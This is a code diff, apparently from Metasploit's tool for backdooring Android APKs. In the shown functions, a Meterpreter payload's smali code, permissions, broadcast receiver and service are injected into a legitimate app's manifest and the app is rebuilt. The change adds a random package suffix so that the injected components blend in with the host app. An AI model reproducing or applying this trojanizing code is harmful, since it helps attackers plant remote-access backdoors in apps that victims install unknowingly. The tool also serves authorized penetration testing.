@@ -68,7 +68,7 @@ def parse_manifest(manifest_file)
68
68
}
69
69
end
70
70
71
- def fix_manifest ( tempdir )
71
+ def fix_manifest ( tempdir , package )
72
72
#Load payload's manifest
73
73
payload_manifest = parse_manifest ( "#{ tempdir } /payload/AndroidManifest.xml" )
74
74
payload_permissions = payload_manifest . xpath ( "//manifest/uses-permission" )
@@ -98,8 +98,12 @@ def fix_manifest(tempdir)
98
98
end
99
99
100
100
application = original_manifest . at_xpath ( '/manifest/application' )
101
- application << payload_manifest . at_xpath ( '/manifest/application/receiver' ) . to_xml
102
- application << payload_manifest . at_xpath ( '/manifest/application/service' ) . to_xml
101
+ receiver = payload_manifest . at_xpath ( '/manifest/application/receiver' )
102
+ service = payload_manifest . at_xpath ( '/manifest/application/service' )
103
+ receiver . attributes [ "name" ] . value = package + receiver . attributes [ "name" ] . value
104
+ service . attributes [ "name" ] . value = package + service . attributes [ "name" ] . value
105
+ application << receiver . to_xml
106
+ application << service . to_xml
103
107
104
108
File . open ( "#{ tempdir } /original/AndroidManifest.xml" , "wb" ) { |file | file . puts original_manifest . to_xml }
105
109
end
@@ -207,6 +211,7 @@ def backdoor_apk(apkfile, raw_payload)
207
211
FileUtils . rm Dir . glob ( "#{ tempdir } /payload/smali/com/metasploit/stage/R*.smali" )
208
212
209
213
package = amanifest . xpath ( "//manifest" ) . first [ 'package' ]
214
+ package = package + ".#{ Rex ::Text ::rand_text_alpha_lower ( 5 ) } "
210
215
package_slash = package . gsub ( /\. / , "/" )
211
216
print_status "Adding payload as package #{ package } \n "
212
217
payload_files = Dir . glob ( "#{ tempdir } /payload/smali/com/metasploit/stage/*.smali" )
@@ -232,7 +237,7 @@ def backdoor_apk(apkfile, raw_payload)
232
237
injected_apk = "#{ tempdir } /output.apk"
233
238
aligned_apk = "#{ tempdir } /aligned.apk"
234
239
print_status "Poisoning the manifest with meterpreter permissions..\n "
235
- fix_manifest ( tempdir )
240
+ fix_manifest ( tempdir , package )
236
241
237
242
print_status "Rebuilding #{ apkfile } with meterpreter injection as #{ injected_apk } \n "
238
243
run_cmd ( "apktool b -o #{ injected_apk } #{ tempdir } /original" )
0 commit comments